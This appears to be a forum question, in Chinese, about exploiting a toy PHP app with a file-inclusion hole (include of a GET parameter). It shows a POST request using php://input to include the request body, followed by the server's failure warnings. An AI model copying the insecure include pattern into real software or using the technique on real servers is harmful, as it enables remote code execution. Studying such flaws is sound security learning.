想象一下,玩具
PHP应用程序容易受到绝对本地文件包含的影响,例如
<?PHP include($_GET['action']);
我尝试了以下请求来利用它：
POST /?action=PHP://input HTTP/1.1 Host: XXXXXXXXXXXXXXXXX Content-Length: 3 foo
这有效地执行include(‘PHP：// input’);请求body foo,所以我希望它打印foo.但是,我收到以下错误
<br /> <b>Warning</b>: include(PHP://input): Failed to open stream: operation Failed in <b>XXXXXXXXXXXXXXXXX</b> on line <b>12</b><br /> <br /> <b>Warning</b>: include(): Failed opening 'PHP://input' for inclusion (include_path='.:/usr/share/PHP:/usr/share/pear') in <b>XXXXXXXXXXXXXXXXXXX</b> on line <b>12</b><br />
